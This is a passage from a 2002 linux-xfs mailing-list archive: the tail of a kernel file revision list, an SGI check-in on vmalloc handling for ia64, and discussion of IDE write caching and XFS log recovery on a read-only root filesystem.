linux/drivers/video/fbmem.c - 1.52 linux/drivers/sgi/char/shmiq.c - 1.19 linux/drivers/sgi/char/Makefile - 1.6 linux/drivers/scsi/st.c - 1.48 linux/drivers/scsi/sr.c - 1.47 linux/drivers/scsi/sg.c - 1.34 linux/drivers/scsi/sd.c - 1.65 linux/drivers/scsi/scsi_error.c - 1.28 linux/drivers/scsi/ide-scsi.c - 1.42 linux/drivers/sbus/char/vfc_dev.c - 1.15 linux/drivers/sbus/char/sunkbd.c - 1.20 linux/drivers/sbus/char/bpp.c - 1.19 linux/drivers/sbus/audio/audio.c - 1.18 linux/drivers/pci/proc.c - 1.27 linux/drivers/net/irda/Config.in - 1.15 linux/drivers/net/hamradio/baycom_ser_hdx.c - 1.17 linux/drivers/net/Config.in - 1.63 linux/drivers/macintosh/adb.c - 1.17 linux/drivers/macintosh/Makefile - 1.14 linux/drivers/char/vc_screen.c - 1.14 linux/drivers/char/tty_io.c - 1.49 linux/drivers/char/tpqic02.c - 1.22 linux/drivers/char/stallion.c - 1.23 linux/drivers/char/rocket.c - 1.18 linux/drivers/char/nvram.c - 1.22 linux/drivers/char/misc.c - 1.30 linux/drivers/char/mem.c - 1.47 linux/drivers/char/lp.c - 1.33 linux/drivers/char/istallion.c - 1.23 linux/drivers/char/ftape/zftape/zftape-init.c - 1.14 linux/drivers/char/dtlk.c - 1.19 linux/drivers/char/dsp56k.c - 1.20 linux/drivers/char/Makefile - 1.67 linux/drivers/char/Config.in - 1.64 linux/drivers/cdrom/sonycd535.c - 1.25 linux/drivers/cdrom/sjcd.c - 1.20 linux/drivers/cdrom/sbpcd.c - 1.26 linux/drivers/cdrom/optcd.c - 1.21 linux/drivers/cdrom/mcdx.c - 1.17 linux/drivers/cdrom/mcd.c - 1.20 linux/drivers/cdrom/gscd.c - 1.20 linux/drivers/cdrom/cm206.c - 1.22 linux/drivers/cdrom/cdu31a.c - 1.19 linux/drivers/cdrom/aztcd.c - 1.23 linux/drivers/block/xd.c - 1.40 linux/drivers/block/swim3.c - 1.18 linux/drivers/block/rd.c - 1.56 linux/drivers/block/ps2esdi.c - 1.42 linux/drivers/block/paride/pt.c - 1.18 linux/drivers/block/paride/pg.c - 1.18 linux/drivers/block/paride/pd.c - 1.33 linux/drivers/block/loop.c - 1.62 linux/drivers/block/ll_rw_blk.c - 1.110 linux/drivers/block/genhd.c - 1.30 linux/drivers/block/floppy.c - 1.44 linux/drivers/block/acsi_slm.c - 1.11 linux/drivers/block/acsi.c - 1.33 linux/drivers/block/Makefile - 1.27 linux/drivers/acorn/char/Makefile - 1.14 linux/drivers/acorn/block/mfmhd.c - 1.27 linux/drivers/Makefile - 1.37 linux/arch/sparc64/solaris/socksys.c - 1.17 linux/arch/sparc64/mm/init.c - 1.46 linux/arch/sparc64/kernel/systbls.S - 1.29 linux/arch/sparc64/kernel/sys_sparc32.c - 1.53 linux/arch/sparc/mm/init.c - 1.31 linux/arch/sparc/kernel/systbls.S - 1.24 linux/arch/ppc/mm/fault.c - 1.21 linux/arch/ppc/kernel/time.c - 1.20 linux/arch/ppc/kernel/process.c - 1.39 linux/arch/ppc/kernel/prep_nvram.c - 1.10 linux/arch/ppc/kernel/ppc_ksyms.c - 1.47 linux/arch/ppc/kernel/ppc_htab.c - 1.18 linux/arch/ppc/kernel/misc.S - 1.43 linux/arch/ppc/kernel/irq.c - 1.37 linux/arch/ppc/kernel/Makefile - 1.29 linux/arch/ppc/config.in - 1.56 linux/arch/ppc/8xx_io/Makefile - 1.8 linux/arch/mips/mm/init.c - 1.15 linux/arch/mips/kernel/Makefile - 1.11 linux/arch/m68k/kernel/entry.S - 1.18 linux/arch/m68k/atari/joystick.c - 1.10 linux/arch/i386/mm/init.c - 1.40 linux/arch/i386/kernel/process.c - 1.52 linux/arch/i386/kernel/irq.c - 1.45 linux/arch/i386/kernel/io_apic.c - 1.42 linux/arch/i386/kernel/i386_ksyms.c - 1.52 linux/arch/i386/kernel/entry.S - 1.60 linux/arch/i386/kernel/apm.c - 1.51 linux/arch/i386/kernel/Makefile - 1.32 linux/arch/arm/mm/mm-armv.c - 1.29 linux/arch/arm/mm/init.c - 1.31 linux/arch/arm/kernel/ptrace.c - 1.20 linux/arch/arm/kernel/irq.c - 1.21 linux/arch/arm/kernel/entry-common.S - 1.23 linux/arch/arm/kernel/entry-armv.S - 1.33 linux/arch/arm/kernel/calls.S - 1.19 linux/arch/alpha/kernel/osf_sys.c - 1.31 linux/arch/alpha/kernel/entry.S - 1.28 linux/Rules.make - 1.29 linux/Makefile - 1.211 linux/MAINTAINERS - 1.112 linux/Documentation/sysctl/vm.txt - 1.8 linux/Documentation/ide.txt - 1.10 linux/CREDITS - 1.85 linux/include/linux/ide.h - 1.57 linux/fs/hpfs/inode.c - 1.20 linux/drivers/block/blkpg.c - 1.25 linux/arch/mips/baget/Makefile - 1.6 linux/drivers/char/ppdev.c - 1.32 linux/drivers/block/cpqarray.c - 1.51 linux/kernel/ptrace.c - 1.23 linux/drivers/parport/share.c - 1.21 linux/drivers/char/raw.c - 1.27 linux/drivers/net/ppp_generic.c - 1.28 linux/net/khttpd/waitheaders.c - 1.8 linux/net/khttpd/userspace.c - 1.6 linux/net/khttpd/sysctl.h - 1.2 linux/net/khttpd/sysctl.c - 1.4 linux/net/khttpd/structure.h - 1.4 linux/net/khttpd/sockets.c - 1.6 linux/net/khttpd/security.h - 1.3 linux/net/khttpd/security.c - 1.9 linux/net/khttpd/rfc_time.c - 1.3 linux/net/khttpd/rfc.c - 1.7 linux/net/khttpd/prototypes.h - 1.4 linux/net/khttpd/misc.c - 1.5 linux/net/khttpd/make_times_h.c - 1.3 linux/net/khttpd/main.c - 1.11 linux/net/khttpd/logging.c - 1.2 linux/net/khttpd/datasending.c - 1.12 linux/net/khttpd/accept.c - 1.5 linux/net/khttpd/README - 1.3 linux/net/khttpd/Makefile - 1.8 linux/net/khttpd/Config.in - 1.3 linux/fs/partitions/msdos.c - 1.25 linux/fs/partitions/check.c - 1.47 linux/fs/partitions/Config.in - 1.20 linux/arch/i386/kernel/i8259.c - 1.31 linux/drivers/video/modedb.c - 1.7 linux/drivers/char/ip2main.c - 1.19 linux/drivers/block/DAC960.h - 1.16 linux/drivers/block/DAC960.c - 1.51 linux/arch/sh/kernel/Makefile - 1.15 linux/drivers/char/n_r3964.c - 1.14 linux/include/linux/n_r3964.h - 1.3 linux/include/asm-sh/unistd.h - 1.14 linux/include/asm-sh/socket.h - 1.7 linux/include/asm-sh/processor.h - 1.18 linux/drivers/pcmcia/Makefile - 1.17 linux/fs/udf/file.c - 1.29 linux/drivers/net/wan/cosa.c - 1.25 linux/drivers/net/wan/Makefile - 1.19 linux/include/linux/pci_ids.h - 1.70 linux/mm/bootmem.c - 1.21 linux/include/asm-arm/arch-sa1100/keyboard.h - 1.10 linux/include/asm-arm/arch-sa1100/hardware.h - 1.15 linux/fs/proc/proc_misc.c - 1.38 linux/fs/bfs/file.c - 1.22 linux/mm/numa.c - 1.11 linux/include/linux/mmzone.h - 1.23 linux/drivers/i2c/i2c-dev.c - 1.19 linux/include/asm-ppc/hw_irq.h - 1.9 linux/include/linux/input.h - 1.20 linux/net/sched/sch_ingress.c - 1.9 linux/arch/i386/kernel/apic.c - 1.33 linux/drivers/scsi/scsi_scan.c - 1.28 linux/drivers/net/wan/sdla_chdlc.c - 1.18 linux/arch/ia64/kernel/entry.S - 1.27 linux/arch/ia64/ia32/sys_ia32.c - 1.28 linux/arch/ia64/config.in - 1.33 linux/arch/ia64/lib/Makefile - 1.13 linux/arch/ia64/mm/init.c - 1.18 linux/include/asm-ia64/processor.h - 1.22 linux/include/asm-ia64/socket.h - 1.7 linux/include/asm-ia64/unistd.h - 1.21 linux/Documentation/filesystems/devfs/ChangeLog - 1.24 linux/include/linux/devfs_fs_kernel.h - 1.12 linux/fs/devfs/base.c - 1.41 linux/drivers/isdn/hysdn/boardergo.c - 1.14 linux/include/asm-mips64/unistd.h - 1.10 linux/include/asm-mips64/processor.h - 1.12 linux/include/asm-mips64/socket.h - 1.8 linux/arch/mips64/mm/init.c - 1.9 linux/arch/mips64/kernel/scall_64.S - 1.12 linux/drivers/ide/umc8672.c - 1.8 linux/drivers/ide/trm290.c - 1.15 linux/drivers/ide/opti621.c - 1.14 linux/drivers/ide/ide.c - 1.60 linux/drivers/ide/ide-tape.c - 1.32 linux/drivers/ide/ide-pci.c - 1.32 linux/drivers/ide/ide-floppy.c - 1.30 linux/drivers/ide/ide-disk.c - 1.42 linux/drivers/ide/ide-cd.c - 1.42 linux/drivers/ide/ht6560b.c - 1.12 linux/drivers/ide/hd.c - 1.25 linux/drivers/ide/dtc2278.c - 1.10 linux/drivers/ide/cs5530.c - 1.14 linux/drivers/ide/cmd640.c - 1.13 linux/drivers/ide/ali14xx.c - 1.12 linux/drivers/block/elevator.c - 1.20 linux/Documentation/DocBook/Makefile - 1.35 linux/include/linux/elevator.h - 1.11 linux/include/linux/nfs_xdr.h - 1.9 linux/fs/ramfs/inode.c - 1.28 linux/arch/ppc/8260_io/Config.in - 1.6 linux/include/asm-s390/unistd.h - 1.11 linux/include/asm-s390/socket.h - 1.5 linux/arch/s390/kernel/entry.S - 1.19 linux/include/asm-s390/processor.h - 1.10 linux/arch/s390/mm/init.c - 1.12 linux/fs/xfs/linux/xfs_iops.c - 1.173 linux/drivers/char/drm/mga_drv.h - 1.8 linux/fs/jffs/inode-v23.c - 1.30 linux/drivers/mtd/ftl.c - 1.20 linux/drivers/mtd/mtdblock.c - 1.19 linux/drivers/mtd/mtdchar.c - 1.10 linux/kernel/user.c - 1.5 linux/drivers/usb/storage/freecom.c - 1.13 linux/drivers/media/video/videodev.c - 1.14 linux/drivers/input/input.c - 1.11 linux/drivers/input/evdev.c - 1.12 linux/arch/arm/tools/mach-types - 1.18 linux/drivers/md/lvm.c - 1.34 linux/drivers/block/cciss.c - 1.38 linux/drivers/md/md.c - 1.51 linux/mm/oom_kill.c - 1.16 linux/fs/xfs/support/kmem.c - 1.18 linux/include/asm-parisc/unistd.h - 1.4 linux/include/asm-parisc/processor.h - 1.6 linux/include/asm-parisc/socket.h - 1.4 linux/include/linux/shmem_fs.h - 1.8 linux/mm/shmem.c - 1.43 linux/drivers/scsi/osst.c - 1.16 linux/arch/ia64/sn/io/Makefile - 1.5 linux/arch/ia64/sn/io/hcl.c - 1.5 linux/fs/reiserfs/file.c - 1.13 linux/include/asm-s390x/processor.h - 1.6 linux/arch/s390x/kernel/linux32.c - 1.14 linux/drivers/s390/char/tapechar.c - 1.7 linux/drivers/s390/char/tapeblock.c - 1.12 linux/arch/s390x/mm/init.c - 1.9 linux/drivers/s390/block/xpram.c - 1.22 linux/include/asm-cris/unistd.h - 1.8 linux/include/asm-s390x/unistd.h - 1.8 linux/include/asm-cris/processor.h - 1.10 linux/include/asm-ppc/tlb.h - 1.3 linux/include/asm-arm/arch-integrator/keyboard.h - 1.3 linux/drivers/s390/char/tubfs.c - 1.5 linux/include/asm-i386/rwsem.h - 1.6 linux/lib/rwsem.c - 1.4 linux/lib/rwsem-spinlock.c - 1.2 linux/include/linux/rwsem-spinlock.h - 1.3 linux/include/linux/rwsem.h - 1.4 linux/include/asm-ppc/rwsem.h - 1.2 linux/fs/freevxfs/vxfs_inode.c - 1.10 linux/arch/ppc/boot/prep/misc.c - 1.8 linux/arch/ppc/boot/prep/Makefile - 1.9 linux/arch/ppc/boot/common/misc-common.c - 1.6 linux/drivers/bluetooth/Makefile - 1.5 linux/drivers/bluetooth/Config.in - 1.4 linux/drivers/mtd/nftlcore.c - 1.20 linux/drivers/net/au1000_eth.c - 1.7 linux/drivers/message/fusion/Makefile - 1.6 linux/drivers/video/aty/Makefile - 1.4 linux/drivers/ide/it8172.c - 1.12 linux/arch/arm/mach-sa1100/yopy.c - 1.6 linux/arch/arm/mach-sa1100/sa1111.c - 1.8 linux/arch/arm/kernel/entry-header.S - 1.6 linux/arch/arm/mach-sa1100/pfs168.c - 1.10 linux/arch/arm/mach-sa1100/omnimeter.c - 1.8 linux/arch/arm/mach-sa1100/neponset.c - 1.10 linux/arch/arm/mach-integrator/cpu.c - 1.5 linux/arch/arm/mach-sa1100/huw_webpanel.c - 1.8 linux/arch/arm/mach-sa1100/assabet.c - 1.11 linux/arch/arm/mach-sa1100/cpu-sa1100.c - 1.4 linux/arch/arm/mach-sa1100/cpu-sa1110.c - 1.6 linux/arch/arm/mach-sa1100/generic.c - 1.8 linux/arch/arm/mach-sa1100/freebird.c - 1.9 linux/arch/ppc/kernel/temp.c - 1.3 linux/arch/ppc/mm/mmu_decl.h - 1.6 linux/arch/ppc/mm/pgtable.c - 1.7 linux/arch/ppc/mm/ppc_mmu.c - 1.4 linux/arch/ppc/mm/tlb.c - 1.5 linux/drivers/ide/qd65xx.c - 1.11 linux/fs/jffs2/TODO - 1.3 linux/fs/jffs2/background.c - 1.9 linux/fs/jffs2/build.c - 1.3 linux/fs/jffs2/compr.c - 1.4 linux/fs/jffs2/compr_rtime.c - 1.3 linux/fs/jffs2/compr_rubin.c - 1.4 linux/fs/jffs2/compr_zlib.c - 1.6 linux/fs/jffs2/dir.c - 1.11 linux/fs/jffs2/erase.c - 1.7 linux/fs/jffs2/file.c - 1.9 linux/fs/jffs2/gc.c - 1.9 linux/fs/jffs2/ioctl.c - 1.2 linux/fs/jffs2/malloc.c - 1.5 linux/fs/jffs2/nodelist.c - 1.6 linux/fs/jffs2/nodelist.h - 1.6 linux/fs/jffs2/nodemgmt.c - 1.6 linux/fs/jffs2/pushpull.h - 1.4 linux/fs/jffs2/read.c - 1.5 linux/fs/jffs2/readinode.c - 1.6 linux/fs/jffs2/scan.c - 1.6 linux/fs/jffs2/super.c - 1.13 linux/fs/jffs2/symlink.c - 1.4 linux/fs/jffs2/write.c - 1.7 linux/include/linux/jffs2_fs_sb.h - 1.6 linux/include/linux/jffs2.h - 1.4 linux/drivers/ide/ataraid.c - 1.11 linux/arch/arm/mach-sa1100/h3600.c - 1.9 linux/arch/arm/mach-sa1100/graphicsmaster.c - 1.12 linux/arch/arm/mach-sa1100/adsbitsy.c - 1.10 linux/arch/arm/lib/kbd.c - 1.2 linux/drivers/message/i2o/i2o_block.c - 1.18 linux/drivers/net/8139cp.c - 1.15 linux/fs/ext3/file.c - 1.5 linux/fs/ext3/inode.c - 1.16 linux/fs/ext3/namei.c - 1.10 linux/fs/ext3/super.c - 1.20 linux/fs/ext3/symlink.c - 1.3 linux/fs/intermezzo/sysctl.c - 1.5 linux/fs/ext3/dir.c - 1.4 linux/fs/driverfs/inode.c - 1.18 linux/include/linux/driverfs_fs.h - 1.5 linux/include/linux/device.h - 1.12 linux/init/do_mounts.c - 1.16 linux/arch/arm/mm/alignment.c - 1.4 linux/arch/arm/mach-sa1100/system3.c - 1.10 linux/include/asm-arm/hardware/sa1111.h - 1.5 linux/drivers/net/Makefile.lib - 1.2 linux/net/khttpd/Config.help - 1.2 linux/drivers/bluetooth/Config.help - 1.3 linux/drivers/char/Config.help - 1.7 linux/drivers/base/interface.c - 1.7 linux/drivers/base/fs.c - 1.6 linux/drivers/pnp/pnpbios_core.c - 1.8 linux/drivers/input/serio/serio.c - 1.5 linux/sound/sound_core.c - 1.4 linux/arch/ppc/boot/simple/Makefile - 1.4 linux/arch/ppc/boot/simple/misc-spruce.c - 1.2 linux/sound/oss/trident.h - 1.3 linux/sound/oss/trident.c - 1.5 linux/sound/oss/soundcard.c - 1.2 linux/sound/oss/i810_audio.c - 1.6 linux/arch/ppc/platforms/Makefile - 1.3 linux/arch/ppc/platforms/cpc700.h - 1.2 linux/arch/ppc/platforms/cpc700_pic.c - 1.2 linux/arch/ppc/platforms/iSeries_pic.c - 1.3 linux/arch/ppc/platforms/iSeries_time.c - 1.2 linux/arch/ppc/platforms/lopec_setup.c - 1.8 linux/arch/ppc/platforms/pplus_setup.c - 1.7 linux/arch/ppc/platforms/prep_nvram.c - 1.2 linux/arch/ppc/platforms/spruce_setup.c - 1.5 linux/sound/oss/cs46xx.c - 1.3 linux/arch/x86_64/ia32/sys_ia32.c - 1.6 linux/arch/x86_64/kernel/Makefile - 1.6 linux/sound/oss/Makefile - 1.7 linux/sound/isa/sb/Makefile - 1.7 linux/sound/core/sound.c - 1.6 linux/sound/core/seq/Makefile - 1.11 linux/sound/core/info.c - 1.6 linux/sound/core/Makefile - 1.11 linux/include/asm-x86_64/processor.h - 1.6 linux/include/asm-ppc/thread_info.h - 1.6 linux/include/asm-x86_64/unistd.h - 1.5 linux/arch/ppc64/kernel/Makefile - 1.7 linux/arch/ppc64/kernel/misc.S - 1.5 linux/include/asm-ppc64/unistd.h - 1.4 linux/include/asm-ppc64/processor.h - 1.6 linux/drivers/net/e1000/e1000_main.c - 1.8 linux/fs/jfs/file.c - 1.7 linux/fs/jfs/inode.c - 1.8 linux/fs/jfs/namei.c - 1.8 linux/arch/arm/mach-sa1100/badge4.c - 1.7 linux/fs/jffs2/writev.c - 1.2 linux/fs/jffs2/wbuf.c - 1.2 linux/fs/jffs2/os-linux.h - 1.3 linux/kernel/futex.c - 1.6 linux/fs/jffs2/fs.c - 1.3 linux/include/asm-ppc/tlbflush.h - 1.4 linux/drivers/usb/core/Makefile - 1.7 linux/drivers/usb/core/hub.c - 1.7 linux/drivers/usb/core/usb.c - 1.11 linux/drivers/usb/host/Makefile - 1.8 linux/drivers/usb/host/ohci-q.c - 1.8 linux/drivers/base/base.h - 1.5 linux/drivers/usb/input/hiddev.c - 1.8 linux/kernel/platform.c - 1.3 linux/mm/readahead.c - 1.7 linux/drivers/usb/misc/tiglusb.c - 1.6 linux/drivers/isdn/i4l/isdn_common.c - 1.3 linux/drivers/isdn/hisax/Config.in - 1.6 linux/drivers/isdn/capi/capi.c - 1.5 linux/fs/ntfs/file.c - 1.4 linux/scripts/mkcompile_h - 1.4 linux/drivers/block/umem.c - 1.4 linux/drivers/bluetooth/bluecard_cs.c - 1.3 linux/drivers/ide/pcidma.c - 1.9 linux/drivers/pci/access.c - 1.2 linux/include/linux/page-flags.h - 1.4 linux/drivers/bluetooth/dtl1_cs.c - 1.3 linux/include/linux/dqblk_xfs.h - 1.5 linux/kernel/suspend.c - 1.8 linux/drivers/ide/ioctl.c - 1.9 linux/drivers/ide/main.c - 1.6 linux/drivers/ide/probe.c - 1.8 linux/drivers/base/bus.c - 1.4 linux/scripts/fixdep.c - 1.4 linux/drivers/s390/cio/Makefile - 1.2 linux/drivers/s390/block/dasd_genhd.c - 1.3 linux/drivers/s390/block/dasd_ioctl.c - 1.3 linux/drivers/usb/core/file.c - 1.3 linux/fs/direct-io.c - 1.3 linux/fs/smbfs/smbiod.c - 1.2 linux/security/dummy.c - 1.2 linux/security/capability.c - 1.2 linux/drivers/serial/clps711x.c - 1.2 linux/drivers/serial/uart00.c - 1.2 linux/drivers/serial/sa1100.c - 1.2 linux/Documentation/serial/driver - 1.2 linux/drivers/serial/core.c - 1.2 linux/drivers/serial/anakin.c - 1.2 linux/drivers/serial/amba.c - 1.2 linux/mm/rmap.c - 1.2 linux/drivers/serial/8250_pci.c - 1.2 linux/include/asm-arm/proc-armv/rmap.h - 1.2 linux/include/asm-arm/rmap.h - 1.2 linux/drivers/serial/8250.c - 1.2 linux/drivers/serial/21285.c - 1.2 linux/include/linux/security.h - 1.2 From owner-linux-xfs@oss.sgi.com Fri Aug 2 13:09:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72K9BRw013965 for ; Fri, 2 Aug 2002 13:09:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72K9Bjx013964 for linux-xfs-outgoing; Fri, 2 Aug 2002 13:09:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72K94Rw013935 for ; Fri, 2 Aug 2002 13:09:04 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA87813 for ; Fri, 2 Aug 2002 15:10:39 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA11999 for ; Fri, 2 Aug 2002 15:10:39 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g72K6t709013; Fri, 2 Aug 2002 15:06:55 -0500 Message-Id: <200208022006.g72K6t709013@stout.americas.sgi.com> Date: Fri, 2 Aug 2002 15:06:55 -0500 Subject: TAKE - Fix up memory handling on ia64 X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I made a change to how vmalloc'd memory is tested for & handled a few days ago, but it wasn't working on ia64 due to different memory layout... in short, test for VMALLOC_END as well as VMALLOC_START when looking for vmalloc'd memory. Date: Fri Aug 2 13:09:37 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124228a linux/fs/xfs/support/kmem.c - 1.18 linux/fs/xfs/pagebuf/page_buf.c - 1.48 - Check VMALLOC_END as well as VMALLOC_START when testing for vmalloc'd memory. From owner-linux-xfs@oss.sgi.com Fri Aug 2 13:38:35 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72KcZRw014264 for ; Fri, 2 Aug 2002 13:38:35 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72KcZ3a014263 for linux-xfs-outgoing; Fri, 2 Aug 2002 13:38:35 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf08bis.bellsouth.net (mail108.mail.bellsouth.net [205.152.58.48]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72KcTRw014235 for ; Fri, 2 Aug 2002 13:38:29 -0700 Received: from TAZ2 ([66.156.2.18]) by imf08bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020802204138.WEZL6404.imf08bis.bellsouth.net@TAZ2>; Fri, 2 Aug 2002 16:41:38 -0400 Date: Fri, 2 Aug 2002 16:38:49 -0400 From: Greg Freemyer Subject: re[2]: recovery failed after power off To: Federico Sevilla III , Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020802204138.WEZL6404.imf08bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g72KcTRw014236 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> On Fri, Aug 02, 2002 at 02:19:28PM +0200, Christian Thalinger wrote: >> > Yep, IDE drive with write cache. Sorry, i could guess it myself. >> > Without write cache recovery seems to be ok. Now i have to find out >> > how to disable write cache of IDE drives on a 3ware controller ;-) >> This can be done both via the 3ware BIOS which you can enter at bootup, >> or via the 3dmd web-based management system. >> --> Jijo I know that turns off the write cache on the 3ware controller itself. Does it also turn off the write cache on the underlying IDE drives? Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 2 15:00:06 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72M06Rw015493 for ; Fri, 2 Aug 2002 15:00:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72M06cw015492 for linux-xfs-outgoing; Fri, 2 Aug 2002 15:00:06 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.tiscali.cz (stateless2.tiscali.cz [213.235.135.71]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72M00Rw015454 for ; Fri, 2 Aug 2002 15:00:01 -0700 Received: from localhost (212.90.234.202) by mail.tiscali.cz (6.0.044) id 3D34CE51001C65B4 for linux-xfs@oss.sgi.com; Thu, 1 Aug 2002 18:00:22 +0200 Received: from honza by localhost with local (Exim 3.32 #1 (Debian)) id 17aG1r-00008a-00 for ; Thu, 01 Aug 2002 15:30:11 +0200 Date: Thu, 1 Aug 2002 15:30:11 +0200 To: linux-xfs@oss.sgi.com Subject: recovery on root filesystem Message-ID: <20020801153011.A488@pisidlo> Reply-To: gregor_jan@seznam.cz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22i From: Jan Gregor X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello I found these messages on startup of my kernel (2.4.18 + xfs 1.1) after a crash. Does it mean that recovery processed or not ? XFS mounting filesystem ide0(3,9) XFS: WARNING: recovery required on readonly filesystem. XFS: write access will be enabled during mount. Starting XFS recovery on filesystem: ide0(3,9) (dev: 3/9) Ending XFS recovery on filesystem: ide0(3,9) (dev: 3/9) VFS: Mounted root (xfs filesystem) readonly. Jan Gregor From owner-linux-xfs@oss.sgi.com Fri Aug 2 15:04:38 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g72M4cRw015682 for ; Fri, 2 Aug 2002 15:04:38 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g72M4cG3015681 for linux-xfs-outgoing; Fri, 2 Aug 2002 15:04:38 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g72M4URw015653 for ; Fri, 2 Aug 2002 15:04:30 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA93094; Fri, 2 Aug 2002 17:06:06 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id RAA10191; Fri, 2 Aug 2002 17:06:05 -0500 (CDT) Subject: Re: recovery on root filesystem From: Eric Sandeen To: gregor_jan@seznam.cz Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020801153011.A488@pisidlo> References: <20020801153011.A488@pisidlo> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 02 Aug 2002 17:02:21 -0500 Message-Id: <1028325741.32612.51.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Those are "normal" messages for recovery on your root fs. It's just saying that although root was mounted readonly (normal for the first part of a linux boot), xfs detected that recovery was needed, which meant that it had to write to the disk to perform log recovery - even though it was mounted read only. Recovery completed without error. -Eric On Thu, 2002-08-01 at 08:30, Jan Gregor wrote: > Hello > I found these messages on startup of my kernel (2.4.18 + xfs 1.1) after > a crash. Does it mean that recovery processed or not ? > > XFS mounting filesystem ide0(3,9) > XFS: WARNING: recovery required on readonly filesystem. > XFS: write access will be enabled during mount. > Starting XFS recovery on filesystem: ide0(3,9) (dev: 3/9) > Ending XFS recovery on filesystem: ide0(3,9) (dev: 3/9) > VFS: Mounted root (xfs filesystem) readonly. > > Jan Gregor -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 2 18:09:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7319URw017222 for ; Fri, 2 Aug 2002 18:09:30 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7319Ujp017221 for linux-xfs-outgoing; Fri, 2 Aug 2002 18:09:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7319QRw017193 for ; Fri, 2 Aug 2002 18:09:26 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id SAA09838 for ; Fri, 2 Aug 2002 18:11:06 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g731AsL27278; Sat, 3 Aug 2002 11:10:54 +1000 Date: Sat, 3 Aug 2002 11:10:54 +1000 From: Keith Owens Message-Id: <200208030110.g731AsL27278@sherman.melbourne.sgi.com> 